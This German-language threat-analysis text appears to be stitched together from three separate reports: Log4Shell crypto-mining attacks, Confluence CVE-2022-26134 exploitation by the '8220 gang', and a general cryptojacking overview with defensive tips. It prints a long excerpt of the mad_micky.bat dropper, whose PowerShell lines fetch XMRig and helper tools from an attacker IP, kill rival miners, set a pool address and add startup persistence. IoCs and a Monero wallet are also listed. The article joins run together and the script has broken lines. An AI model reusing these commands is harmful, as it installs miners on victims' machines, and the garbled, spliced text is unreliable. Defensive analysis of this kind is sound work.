demining/log4j-vulnerabilityPädagogische Analyse der Log4Shell-Schwachstelle (CVE-2021-44228), die deren Ausnutzung in einer Kryptowährungs-Mining-Kampagne mit IoCs, MITRE-ATT&CK-Zuordnung und Erkennungsleitfaden detailliert beschreibt.
Das Alibaba Cloud Security Team hat öffentlich eine kritische Schwachstelle (CVE-2021-44228) offengelegt, die nicht authentifizierte Remote-Codeausführung bei mehreren Versionen von Apache Log4j2 (Log4Shell) ermöglicht. Angreifer können verwundbare Server ausnutzen, indem sie sich über ein beliebiges Protokoll wie HTTPS verbinden und eine speziell konstruierte Zeichenfolge senden.
Darktrace erkannte Crypto-Mining in mehreren Kundenumgebungen, das infolge der Ausnutzung dieser Log4j-Schwachstelle auftrat. In jedem dieser Vorfälle erfolgte die Ausnutzung über ausgehende SSL-Verbindungen, die wie Anfragen nach base64-kodierten PowerShell-Skripten wirken, um Perimetersicherungen zu umgehen und Batch-Dateien (.bat) sowie mehrere ausführbare Dateien herunterzuladen, die Crypto-Mining-Malware installieren. Die Aktivität wies breitere Kampagnenindikatoren auf, darunter gemeinsame hartkodierte IPs, ausführbare Dateien und Skripte.
Der Angriffszyklus beginnt mit einem scheinbar opportunistischen Scannen von mit dem Internet verbundenen Geräten auf der Suche nach VMWare-Horizons-Servern, die gegenüber dem Log4j-Exploit verwundbar sind. Sobald ein verwundbarer Server gefunden ist, stellt der Angreifer HTTP- und SSL-Verbindungen zum Opfer her. Nach erfolgreicher Ausnutzung führt der Server einen Callback auf Port 1389 durch und ruft ein Skript namens mad_micky.bat ab. Dies erreicht Folgendes:
In mindestens zwei Fällen wurde das Skript mad_micky.bat über eine HTTP-Verbindung abgerufen, die den User-Agent Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; MAARJS) aufwies. Dies war das erste und einzige Mal, dass dieser User-Agent in diesen Netzwerken gesehen wurde. Es scheint, dass dieser User-Agent von einigen ASUS-Geräten mit frischen Werksinstallationen legitim verwendet wird; da es sich jedoch um einen neuen User-Agent handelt, der nur während dieser Aktivität gesehen wurde, ist er verdächtig.
Nach erfolgreicher Ausnutzung führt der Server einen Callback auf Port 1389 durch, um Skriptdateien abzurufen. In diesem Beispiel ist /xms.ps1 ein base64-kodiertes PowerShell-Skript, das die Ausführungsrichtlinie auf dem Host umgeht, um ‘mad_micky.bat’ aufzurufen:
Abbildung 1: Weitere Einblicke in das PowerShell-Skript xms.ps1
Der Schnappschuss zeigt das Ereignisprotokoll eines betroffenen Servers und deutet auf eine erfolgreiche Log4j-RCE hin, die zum Download der Datei mad_micky.bat führte:
Abbildung 2: Protokolldaten, die die Datei mad_micky.bat hervorheben
Es wurden zusätzliche Verbindungen initiiert, um ausführbare Dateien und Skripte abzurufen. Die Skripte enthielten zwei IP-Adressen in Korea und der Ukraine. Es wurde eine Verbindung zur ukrainischen IP hergestellt, um die ausführbare Datei xm.exe herunterzuladen, die den Miner aktiviert. Der Miner, XMRig Miner (in diesem Fall), ist ein Open-Source-Mining-Tool für mehrere Plattformen, das an mehreren öffentlichen Orten zum Download verfügbar ist. Der nächste beobachtete EXE-Download war ‘wxm.exe’ (f0cf1d3d9ed23166ff6c1f3deece19b4).
Abbildung 3: Weitere Einblicke in die XMRig-Ausführungsdatei
Die Verbindung zur koreanischen IP beinhaltete eine Anfrage für ein weiteres Skript (/2.ps1) sowie eine ausführbare Datei (LogBack.exe). Dieses Skript löscht laufende Aufgaben im Zusammenhang mit der Protokollierung, einschließlich SCM Event Log Filter oder PowerShell Event Log Consumer. Das Skript fordert außerdem eine Datei von Pastebin an, bei der es sich möglicherweise um eine Cobalt-Strike-Beacon-Konfigurationsdatei handelt. Die Protokolllöschungen wurden über geplante Aufgaben und WMI durchgeführt, darunter: Eventlogger, SCM Event Log Filter, DSM Event Log Consumer, PowerShell Event Log Consumer, Windows Events Consumer, BVTConsumer.
Die zweite von Pastebin angeforderte Datei, die von Pastebin jedoch nicht mehr gehostet wird, ist Teil eines schtasks-Befehls und wurde daher wahrscheinlich zur Etablierung von Persistenz verwendet:
Die ausführbare Datei Logback.exe ist ein weiteres XMRig-Mining-Tool. Eine Datei config.json wurde ebenfalls von derselben koreanischen IP heruntergeladen. Danach wurden cmd.exe- und wmic-Befehle verwendet, um den Miner zu konfigurieren.
Auf diese Dateidownloads und die Miner-Konfiguration folgten weitere Verbindungen zu Pastebin.
Abbildung 4: OSINT-Korrelation der Datei mad_micky.bat
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
looking for the following utilities: powershell, find, findstr, tasklist, sc
set “LOGFILE=%USERPROFILE%\mimu6\xmrig.log”
if %EXP_MONER_HASHRATE% gtr 8192 ( set PORT=18192 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4096 ( set PORT=14906 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2048 ( set PORT=12048 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 1024 ( set PORT=11024 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 512 ( set PORT=10512 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 256 ( set PORT=10256 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 128 ( set PORT=10128 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 64 ( set PORT=10064 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 32 ( set PORT=10032 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 16 ( set PORT=10016 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 8 ( set PORT=10008 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 4 ( set PORT=10004 & goto PORT_OK)
if %EXP_MONER_HASHRATE% gtr 2 ( set PORT=10002 & goto PORT_OK)
set port=10001echo [*] Removing previous mimu miner (if any)
sc stop gado_miner
sc delete gado_miner
taskkill /f /t /im xmrig.exe
taskkill /f /t/im logback.exe
taskkill /f /t /im network02.exe
:REMOVE_DIR0
echo [*] Removing “%USERPROFILE%\mimu6” directory
timeout 5
rmdir /q /s “USERPROFILE%\mimu6” >NUL 2>NUL
IF EXIST “%USERPROFILE%\mimu6” GOTO REMOVE_DIR0echo [*] Downloading MoneroOcean advanced version of XMRig to “%USERPROFILE%\xmrig.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘http://141.85.161[.]18/xmrig.zip’, ;%USERPROFILE%\xmrig.zip’)”
echo copying to mimu directory
if errorlevel 1 (
echo ERROR: Can’t download MoneroOcean advanced version of xmrig
goto MINER_BAD)echo [*] Unpacking “%USERPROFILE%\xmrig.zip” to “%USERPROFILE%\mimu6”
powershell -Command “Add-type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory(‘%USERPROFILE%\xmrig.zip’, ‘%USERPROFILE%\mimu6’)”
if errorlevel 1 (
echo [*] Downloading 7za.exe to “%USERPROFILE%za.exe”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.Downloadfile(‘http://141.85.161[.]18/7za.txt’, ‘%USERPROFILE%za.exe’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”url\”: *\”.*\”,’, ‘\”url\”: \”207.38.87[.]6:3333\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”user\”: *\”.*\”,’, ‘\”user\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”pass\”: *\”.*\”,’, ‘\”pass\”: \”%PASS%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”max-cpu-usage\”: *\d*,’, ‘\”max-cpu-usage\”: 100,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
set LOGFILE2=%LOGFILE:\=\\%
powershell -Command “$out = cat ‘%USERPROFILE%\mimu6\config.json’ | %%{$_ -replace ‘\”log-file\”: *null,’, ‘\”log-file\”: \”%LOGFILE2%\”,’} | Out-String; $out | Out-File -Encoding ASCII ‘%USERPROFILE%\mimu6\config.json’”
if %ADMIN% == 1 goto ADMIN_MINER_SETUP
if exist “%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
if exist “%USERPROFILE%\Start Menu\Programs\Startup” (
set “STARTUP_DIR=%USERPROFILE%\Start Menu\Programs\Startup”
goto STARTUP_DIR_OK
)
echo [*] Downloading tools to make gado_miner service to “%USERPROFILE%\nssm.zip”
powershell -Command “$wc = New-Object System.Net.WebClient; $wc.DownloadFile(‘[http://141.85.161[.]18/nssm.zip’, ‘%USERPROFILE%\nssm.zip’)”
if errorlevel 1 (
echo ERROR: Can’t download tools to make gado_miner service
exit /b 1Die wichtigsten Modellverstöße, die Darktrace zur Identifizierung dieser Kampagne verwendete, umfassen kompromissfokussierte Modelle für Application Protocol on Uncommon Port, Outgoing Connection to Rare From Server und Beaconing to Rare Destination. Dateifokussierte Modelle für Masqueraded File Transfer, Multiple Executable Files and Scripts from Rare Locations und Compressed Content from Rare External Location. Das Schürfen von Kryptowährungen wird unter den Modellen Cryptocurrency Mining Activity erkannt.
Die Modelle, die mit Unusual PowerShell to Rare and New User Agent verbunden sind, heben die anomalen Verbindungen auf den infizierten Geräten nach den Log4j-Callbacks hervor.
Kunden mit Darktraces Autonomous Response-Technologie Antigena hatten zudem Aktionen, um die heruntergeladenen eingehenden Dateien und Skripte zu blockieren und die infizierten Geräte auf das normale Verhaltensmuster einzuschränken, um sowohl die anfänglichen bösartigen Dateidownloads als auch die andauernde Crypto-Mining-Aktivität zu verhindern.
Am 31. Mai wurde eine kritische, nicht gepatchte Schwachstelle, die alle unterstützten Versionen von Confluence Server und Data Center betrifft, von Volexity, einem Sicherheitsunternehmen, an Atlassian gemeldet.
Atlassian warnte seine Kunden am 2. Juni vor der kritischen Schwachstelle und veröffentlichte einen Tag später einen Patch. CISA fügte diese Schwachstelle am 3. Juni ihrer Liste der Known Exploited Vulnerabilities hinzu.
Check Point veröffentlichte einen speziellen Schutz, um einen Angriff zu verhindern, der diese Schwachstelle ausnutzt, und rät Kunden, die betroffenen Systeme zu patchen.
Die Schwachstelle
Die Schwachstelle in Atlassian Confluence und Data Center, die als CVE-2022-26134 bezeichnet wird, kann zu einem nicht authentifizierten OGNL-Expression-Injection-Angriff (Object-Graph Navigation Language) führen.
Ein entfernter, nicht authentifizierter Angreifer kann diese Schwachstelle nutzen, um beliebigen Code auf dem Zielserver auszuführen, indem er eine schädliche Nutzlast in den URI einfügt.
Abbildung 1: Schädliche Nutzlast, die CVE-2022-26134 ausnutzt.
Ausnutzung in freier Wildbahn
Forscher von Check Point Research (CPR) bemerkten seit der Veröffentlichung der Schwachstelle eine große Anzahl von Ausnutzungsversuchen. Zunächst nutzten viele der potenziellen Angreifer Scan-Methoden, um verwundbare Ziele zu identifizieren. Nach einigen Tagen begannen die Angreifer, die Schwachstelle zu nutzen, um Malware auf die betroffenen Systeme herunterzuladen.
Unter den Exploit-Protokollen bemerkten die Forscher einige schädliche Nutzlasten, die mit derselben Kampagne in Zusammenhang stehen und von derselben Quelle stammen, aber unterschiedliche Plattformen angreifen: Linux und Windows.
Die Infektionskette hängt vom Betriebssystem des Opfers ab.
Gezielter Angriff auf Linux-Betriebssysteme
Der Angreifer nutzte die Atlassian-0-Day-Schwachstelle, indem er eine manipulierte HTTP-Anfrage an das Opfer sendete.
Abbildung 2: Eine manipulierte HTTP-Anfrage, die CVE-2022-26134 mit einer base64-kodierten Nutzlast ausnutzt.
Die Base64-Zeichenfolge wird in eine weitere base64-kodierte Zeichenfolge dekodiert. Insgesamt mussten die Forscher die Zeichenfolge mehrmals dekodieren, um die eigentliche Nutzlast zu erhalten.
Abbildung 3: Die dekodierte Base64-Zeichenfolge.
Dieses Skript lädt eine Bash-Skriptdatei namens xms vom entfernten C&C-Server in den tmp-Ordner des Opfers herunter, führt sie aus und löscht sie anschließend.
Abbildung 4: Teil des schädlichen xms-Skripts.
Die xms Datei ist ein Dropper-Skript. Sie deinstalliert laufende Agents vom Rechner des Opfers und fügt sich selbst zu Cron-Jobs hinzu, um nach einem Neustart dauerhaft bestehen zu bleiben.
Zusätzlich wird ständig ein Netzwerkkonnektivitätstest zu a[.]oracleservice.top durchgeführt.
Um sich auf andere Rechner auszubreiten, durchsucht das Skript nach SSH-Schlüsseln und versucht, sich zu verbinden. Anschließend lädt es die Datei xms vom C&C-Server herunter und führt sie aus.
Das Skript lädt eine ausführbare ELF-Datei namens dbused in den tmp Ordner auf verschiedenen entfernten IP-Adressen herunter.
Die dbused Datei ist mit upx gepackt, um eine statische Erkennung zu vermeiden.
Die ELF-Datei ist ein Krypto-Miner, der die Ressourcen des Opferrechners erschöpft:
Abbildung 5: Der dbused-Prozess erschöpft die Systemressourcen.
Der gezielte Angriff auf Windows-Betriebssysteme
Der Angreifer nutzte die Atlassian-Schwachstelle aus, um eine PowerShell-Download-Cradle auszuführen und einen dateilosen Angriff von einem entfernten C&C-Server zu starten.
Abbildung 6: Eine manipulierte HTTP-Anfrage, die CVE-2022-26134 mithilfe von PowerShell-Befehlen ausnutzt.
Das lol.ps1 Skript wird in einen PowerShell-Speicherprozess injiziert.
Das Skript überprüft die Prozessorarchitektur und verwendet wmi zur Prüfung, ob sie seinen Anforderungen entspricht.
Anschließend lädt es eine ausführbare Datei namens checkit2 in den tmp Ordner herunter und führt sie im versteckten Modus aus.
Abbildung 7: Das lol.ps1-Skript.
Der checkit2.exe Prozess erzeugt einen untergeordneten Prozess namens InstallUtil.exe, der sich mit dem C&C-Server verbindet. Die InstallUtil.exe erzeugt wiederum einen weiteren untergeordneten Prozess, AddInProcess.exe, bei dem es sich um den Krypto-Miner handelt. Nach einigen Augenblicken der Ausführung auf dem Rechner des Opfers beendet sich der checkit2 Prozess selbst.
Abbildung 8: Der checkit2.exe-Prozess, der auf dem System läuft.
Abbildung 9: Der InstallUtil.exe-Prozess, der auf dem System läuft.
Die Malware lädt eine neue Kopie von sich selbst unter einem neuen Namen in den Startmenü-Ordner herunter.
Abbildung 10: Die cloud.exe-Datei, die in den Autostart-Ordner heruntergeladen wurde.
Der Krypto-Miner läuft nun auf dem Rechner und erschöpft alle Systemressourcen:
Abbildung 11: Informationen zur Krypto-Wallet.
Angriffskette
Beide Angriffsszenarien beginnen mit einer anfänglichen manipulierten HTTP-Anfrage, die die Schwachstelle CVE-2022-26134 ausnutzt. Der Angreifer führt Befehle mithilfe der Java-Ausführungsfunktion aus, um eine schädliche Nutzlast auf den Rechner des Opfers herunterzuladen.
Die schädliche Nutzlast lädt anschließend je nach betroffenem Betriebssystem eine ausführbare Datei herunter. Beide ausführbaren Dateien führen einen Krypto-Miner aus, um die Ressourcen des Opfers zum eigenen Vorteil zu nutzen.
Bedrohungsakteure
Die Domain a[.]oracleservice.top und die Krypto-Wallet, die wir aus dem System extrahiert haben, stehen im Zusammenhang mit einer Cyberkriminellen-Gruppe namens „8220 gang“.
Check-Point-Schutzmaßnahmen:
IPS:
Atlassian Confluence Remote Code Execution (CVE-2022-26134)
Anti-Bot:
Trojan.WIN32.XMRig
IOCs:
198.251.86[.]46
51.79.175[.]139
167.114.114[.]169
146.59.198[.]38
51.255.171[.]23
a.oracleservice[.]top
d2bae17920768883ff8ac9a8516f9708967f6c6afe2aa6da0241abf8da32456e
2622f6651e6eb01fc282565ccbd72caba9844d941b9d1c6e6046f68fc873d5e0
4e48080f37debd76af54a3231ecaf3aa254a008fae1253cdccfcc36640f955d9
4b8be1d23644f8cd5ea22fa4f70ee7213d56e3d73cbe1d0cc3c8e5dfafe753e0
Monero-Wallet:
46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ
Cryptojacking ist die unbefugte Nutzung fremder Rechenressourcen zum Schürfen von Kryptowährungen. Hacker versuchen, jede Art von System zu kapern, das sie übernehmen können—Desktops, Server, Cloud-Infrastruktur und mehr—, um illegal Krypto-Coins zu schürfen.
Unabhängig vom Verteilungsmechanismus arbeitet Cryptojacking-Code in der Regel still im Hintergrund, während ahnungslose Opfer ihre Systeme normal nutzen. Die einzigen Anzeichen, die sie möglicherweise bemerken, sind langsamere Leistung, Verzögerungen bei der Ausführung, Überhitzung, übermäßiger Stromverbrauch oder ungewöhnlich hohe Cloud-Computing-Rechnungen.
Coin-Mining ist ein legitimer Prozess in der Welt der Kryptowährungen, der neue Kryptowährungen in Umlauf bringt. Der Prozess funktioniert, indem der erste Miner belohnt wird, der ein komplexes Rechenproblem löst. Dieses Problem vervollständigt Blöcke verifizierter Transaktionen, die der Kryptowährungs-Blockchain hinzugefügt werden.
„Miner werden im Wesentlichen für ihre Arbeit als Prüfer bezahlt. Sie leisten die Arbeit, die Legitimität von Bitcoin-Transaktionen zu verifizieren“, erläuterte ein aktueller Investopedia-Erklärartikel darüber, wie Bitcoin-Mining funktioniert. „Neben der Füllung der Taschen der Miner und der Unterstützung des Bitcoin-Ökosystems erfüllt das Mining einen weiteren wichtigen Zweck: Es ist der einzige Weg, neue Kryptowährungen in Umlauf zu bringen.“
Das Verdienen von Kryptowährungen durch Coin-Mining erfordert in der Regel eine enorme Menge an Rechenleistung und Energie. Darüber hinaus ist das Kryptowährungs-Ökosystem so konzipiert, dass das Mining im Laufe der Zeit und mit zunehmendem Mining-Wettbewerb schwieriger wird und die Belohnungen dafür sinken. Dies macht legitimes Kryptowährungs-Mining zu einer äußerst kostspieligen Angelegenheit, deren Ausgaben ständig steigen.
Cyberkriminelle senken die Mining-Gemeinkosten, indem sie einfach Rechen- und Energieressourcen stehlen. Sie setzen eine Reihe von Hacking-Techniken ein, um Zugang zu Systemen zu erlangen, die die Rechenarbeit illegal verrichten, und lassen diese gekaperten Systeme die Ergebnisse anschließend an einen vom Hacker kontrollierten Server senden.
Die Angriffsmethoden werden nur durch die Kreativität der Cryptojacker begrenzt, aber die folgenden gehören heute zu den gebräuchlichsten.
In der Vergangenheit war Cryptojacking in erster Linie eine Endpoint-Malware-Angelegenheit, die als weiteres Profitmotiv für das Ablegen von Malware auf Desktops und Laptops diente. Traditionelle Cryptojacking-Malware wird über typische Wege verbreitet, etwa dateilose Malware, Phishing-Schemata und eingebettete schädliche Skripte auf Websites und in Web-Apps.
Der einfachste Weg, wie Cryptojacking-Angreifer Ressourcen stehlen können, besteht darin, Endpoint-Benutzern eine legitim aussehende E-Mail zu senden, die sie dazu verleitet, auf einen Link zu klicken, der Code ausführt, um ein Krypto-Mining-Skript auf ihrem Computer zu platzieren. Es läuft im Hintergrund und sendet die Ergebnisse über eine Command-and-Control-Infrastruktur (C2) zurück.
Eine weitere Methode besteht darin, ein Skript auf einer Website oder in einer Anzeige zu injizieren, die auf mehreren Websites ausgeliefert wird. Sobald Opfer die Website besuchen oder die infizierte Anzeige in ihrem Browser erscheint, wird das Skript automatisch ausgeführt. Auf den Computern der Opfer wird kein Code gespeichert.
Diese Wege bleiben weiterhin ein berechtigtes Anliegen, auch wenn Kriminelle ihren Cryptojacking-Playbooks erheblich ausgefeiltere Techniken hinzugefügt haben, um ihre Gewinne zu steigern. Einige dieser sich weiterentwickelnden Methoden werden im Folgenden beschrieben.
Angreifer versuchen, die Rentabilität von Cryptojacking zu steigern, indem sie ihren Horizont auf Server, Netzwerkgeräte und sogar IoT-Geräte ausweiten. Server zum Beispiel sind ein besonders verlockendes Ziel, da sie in der Regel leistungsfähiger sind als ein gewöhnlicher Desktop. Sie sind auch 2022 ein erstklassiges Jagdrevier: Die Angreifer scannen nach Servern, die dem öffentlichen Internet ausgesetzt sind und Schwachstellen wie Log4J aufweisen, nutzen den Fehler aus und laden heimlich Krypto-Mining-Software auf das System, das mit den Servern der Hacker verbunden ist. Oft nutzen Angreifer das ursprünglich kompromittierte System, um ihr Cryptojacking lateral auf andere Netzwerkgeräte auszuweiten.
„Wir beobachten einen Anstieg des Krypto-Minings, der auf die Log4J-Schwachstelle zurückzuführen ist“, sagt Sally Vincent, Senior Threat Research Engineer bei LogRhythm. „Hacker brechen in Netzwerke ein und installieren Malware, die Speicher zum Schürfen von Kryptowährungen nutzt.“
Cyberkriminelle zielen auf die Software-Lieferkette ab, indem sie Open-Source-Code-Repositories mit bösartigen Paketen und Bibliotheken verseuchen, die in ihren Code eingebettete Cryptojacking-Skripte enthalten. Da Entwickler weltweit diese Pakete millionenfach herunterladen, können diese Angriffe die Cryptojacking-Infrastruktur der Angreifer auf zweierlei Weise schnell vergrößern. Die bösartigen Pakete können dazu genutzt werden, Entwicklersysteme—und die Netzwerke und Cloud-Ressourcen, mit denen sie verbunden sind—direkt als illegale Krypto-Mining-Ressourcen zu verwenden. Oder sie können diese Angriffe nutzen, um die Software, die diese Entwickler bauen, mit Komponenten zu verseuchen, die Krypto-Mining-Skripte auf den Rechnern der Endbenutzer einer Anwendung ausführen.
Viele Cryptojacking-Organisationen machen sich die Skalierbarkeit von Cloud-Ressourcen zunutze, indem sie in Cloud-Infrastrukturen eindringen und auf eine noch breitere Sammlung von Rechenpools zugreifen, um ihre Mining-Aktivitäten anzutreiben. Eine Studie des Google Cybersecurity Action Team vom letzten Herbst berichtete, dass 86 % der kompromittierten Cloud-Instanzen für Krypto-Mining genutzt werden.
„Heute greifen Angreifer Cloud-Dienste mit allen Mitteln an, um immer mehr Kryptowährungen zu schürfen, da Cloud-Dienste es ihnen ermöglichen, ihre Berechnungen in größerem Maßstab auszuführen als auf einem einzelnen lokalen Rechner—sei es, dass sie die verwaltete Cloud-Umgebung eines Benutzers übernehmen oder sogar SaaS-Anwendungen missbrauchen, um ihre Berechnungen auszuführen“, schrieb Guy Arazi, Senior Security Researcher bei Palo Alto Networks, in einem Blogbeitrag.
Eine der gängigen Methoden besteht darin, nach offengelegten Container-APIs oder ungesicherten Cloud-Speicher-Buckets zu scannen und diesen Zugriff zu nutzen, um Coin-Mining-Software auf betroffene Container-Instanzen oder Cloud-Server zu laden. Der Angriff ist in der Regel mit Scan-Software automatisiert, die nach Servern sucht, die über das öffentliche Internet erreichbar sind und offengelegte APIs oder einen möglichen Zugriff ohne Authentifizierung bieten. Angreifer verwenden im Allgemeinen Skripte, um die Miner-Nutzlasten auf das ursprüngliche System zu bringen und nach Wegen zu suchen, sich über verbundene Cloud-Systeme auszubreiten.
„Die Rentabilität und die Leichtigkeit, Cryptojacking in großem Maßstab durchzuführen, machen diese Art von Angriff zu einer leichten Beute“, sagte Matt Muir, Sicherheitsforscher bei Cado Security, in einem Blogbeitrag, in dem er erklärte, dass cloudbasierte Angriffe besonders lukrativ sind. „Dies wird wahrscheinlich so lange anhalten, wie Benutzer weiterhin Dienste wie Docker und Redis ungesicherten Netzwerken aussetzen.“
Laut einem Bericht von ReasonLabs waren im vergangenen Jahr 58,4 % aller erkannten Trojaner Cryptojacking-Coin-Miner. Unterdessen ergab eine weitere Studie von SonicWall, dass 2021 das bisher schlimmste Jahr für Cryptojacking-Angriffe war: In dieser Kategorie wurden im Laufe des Jahres 97,1 Millionen Angriffe verzeichnet. Diese Zahlen sind so hoch, weil Cryptojacking für Cyberkriminelle praktisch Geld druckt.
Wenn ein Krimineller auf einem scheinbar unbegrenzten Pool kostenloser Rechenressourcen von Opferrechnern Kryptowährungen schürfen kann, ist der Nutzen für ihn enorm. Selbst angesichts des steilen Rückgangs des Bitcoin-Werts in diesem Frühjahr, der ihn unter die 30.000-Dollar-Marke fallen ließ, sind die illegalen Margen der Cryptojacker wirtschaftlich weiterhin sinnvoll, da der Wert des Geschürften die Kosten ihrer kriminellen Infrastruktur bei weitem übersteigt.
Ein Honeypot des Sicherheitsforschungsteams von Cado Labs entdeckte einen mehrstufigen Cryptojacking-Angriff, der offengelegte Docker-Engine-API-Endpunkte und Redis-Server ins Visier nimmt und sich wurmähnlich ausbreiten kann. Der Angriff wird von der Angriffsgruppe WatchDog durchgeführt, die Ende 2021 und 2022 mit zahlreichen Cryptojacking-Kampagnen besonders aktiv war.
TeamTNT war eine der ersten Hacking-Gruppen, die den Schwerpunkt des Cryptojacking stark auf cloudorientierte Dienste verlagerte. Forscher von TrendMicro berichteten Ende 2021, dass diese Gruppe zusammen mit Rivalen wie der Kinsig-Bande Cryptojacking-Kampagnen durchführte, bei denen Miner in Alibaba Elastic Computing Service (ECS)-Instanzen installiert und Sicherheitsfunktionen deaktiviert wurden, um der Erkennung zu entgehen.
Die Log4Shell-Schwachstelle war 2022 ein Segen für Cryptojacking-Angreifer. In einem markanten Beispiel fanden Sophos-Forscher Anfang dieses Jahres heraus, dass eine „Horde“ von Angreifern VMware-Horizon-Server ins Visier nahm, um eine Reihe von Cryptojacking-Nutzlasten auszuliefern, darunter z0Miner, den JavaX-Miner und mindestens zwei XMRig-Varianten, die Krypto-Miner-Bots Jin und Mimu.
Die Experten für Software-Lieferkettensicherheit bei Sonatype schlugen im Herbst 2021 Alarm wegen bösartiger Krypto-Mining-Pakete, die in npm versteckt sind, dem weltweit von Entwicklern genutzten JavaScript-Paketrepository. Damals fand es ein Trio von Paketen, von denen mindestens eines eine beliebte, legitime, von Entwicklern genutzte Bibliothek namens „ua-parser-js“ nachahmte, die mit über 7 Millionen wöchentlichen Downloads eine ideale Möglichkeit wäre, Entwickler dazu zu verleiten, versehentlich einen bösartigen Code herunterzuladen und in ihrer Software zu installieren.
Einige Monate nach diesem Bericht veröffentlichten die Forscher von WhiteSource (heute Mend) einen weiteren Bericht, der zeigte, dass npm von bösartigem Code wimmelt—bis zu 1.300 bösartige Pakete, die Cryptojacking und anderes verwerfliches Verhalten enthalten.
Letzten Sommer hat Bitdefender eine rumänische Bedrohungsgruppe entdeckt, die Linux-basierte Maschinen mit SSH-Anmeldedaten angriff, um Monero-Mining-Malware einzusetzen. Die von ihnen verwendeten Werkzeuge wurden über ein As-a-Service-Modell vertrieben. Dieses Beispiel war die Speerspitze eines scheinbar wachsenden Trends von Kryptomining-Angriffen auf Linux-Systeme. Ein Bericht von VMware Anfang dieses Jahres beschrieb eine zunehmende Ausrichtung auf Linux-basierte Multi-Cloud-Umgebungen, insbesondere unter Verwendung der XMRig-Mining-Software.
„Viele der Kryptomining-Beispiele von Linux-basierten Systemen stehen in einer gewissen Beziehung zur XMRig-Anwendung“, erklärte der Bericht, der zeigte, dass 89 % der Kryptomining-Angriffe XMRig-bezogene Bibliotheken verwendeten. „Wenn daher XMRig-spezifische Bibliotheken und Module in Linux-Binärdateien identifiziert werden, ist dies wahrscheinlich ein Hinweis auf potenzielles Kryptomining-Verhalten.“
CoinStop ist eine weitere kürzlich entdeckte Kryptojacking-Kampagne, die sich gegen asiatische Cloud-Service-Provider (CSPs) richtet. Diese zeichnete sich durch ihre Anti-Forensik- und Umgehungsmaßnahmen aus. Dazu gehörten Timestomping zur Manipulation von Systemzeitstempeln, das Entfernen kryptografischer Systemrichtlinien und die Verwendung der /dev/tcp-Gerätedatei zur Erstellung einer Reverse-Shell-Sitzung, erklärte Cados Muir in einem Bericht über den Angriff.
Kryptojacker können manchmal große Anstrengungen unternehmen, um nicht nur Rechenleistung, sondern auch Energie- und Netzwerkressourcen aus der Unternehmensinfrastruktur zu stehlen. Letztes Jahr haben Darktrace-Analysten ein anonymes Beispiel eines ihrer Kunden hervorgehoben, bei dem sie in einem Lagerhaus eine Kryptomining-Farm entdeckten, die in einer unscheinbaren Reihe von Pappkartons versteckt war. Darin befand sich ein heimliches Rig mit mehreren GPUs, die an die Stromversorgung des Unternehmensnetzes angeschlossen waren.
Da es sich zu einem Multi-Vektor-Angriff entwickelt hat, der Endpunkt-, Server- und Cloud-Ressourcen umfasst, erfordert die Verhinderung von Kryptojacking eine orchestrierte und abgerundete Verteidigungsstrategie. Die folgenden Schritte können helfen, Kryptojacking daran zu hindern, auf Unternehmensressourcen überhandzunehmen.
Setzen Sie auf robusten Endpunktschutz: Die Grundlage dafür ist der Einsatz von Endpunktschutz und Anti-Malware, die in der Lage ist, Kryptominer zu erkennen, sowie das Aktualisieren von Webfiltern und das Verwalten von Browsererweiterungen, um das Risiko der Ausführung browserbasierter Skripte zu minimieren. Organisationen sollten idealerweise nach Endpunktschutzplattformen suchen, die sich auf Server und darüber hinaus erstrecken können.
Patchen und härten Sie Server (und alles andere). Kryptojacker neigen dazu, nach den am niedrigsten hängenden Früchten zu suchen, die sie leise ernten können – das umfasst das Scannen nach öffentlich exponierten Servern mit älteren Schwachstellen. Eine grundlegende Serverhärtung, die das Patchen, das Deaktivieren ungenutzter Dienste und das Begrenzen externer Angriffsflächen umfasst, kann viel dazu beitragen, das Risiko serverbasierter Angriffe zu minimieren.
Nutzen Sie Software-Composition-Analyse. Software-Composition-Analyse (SCA)-Tools bieten eine bessere Transparenz darüber, welche Komponenten in der Software verwendet werden, um Supply-Chain-Angriffe zu verhindern, die Coin-Mining-Skripte nutzen.
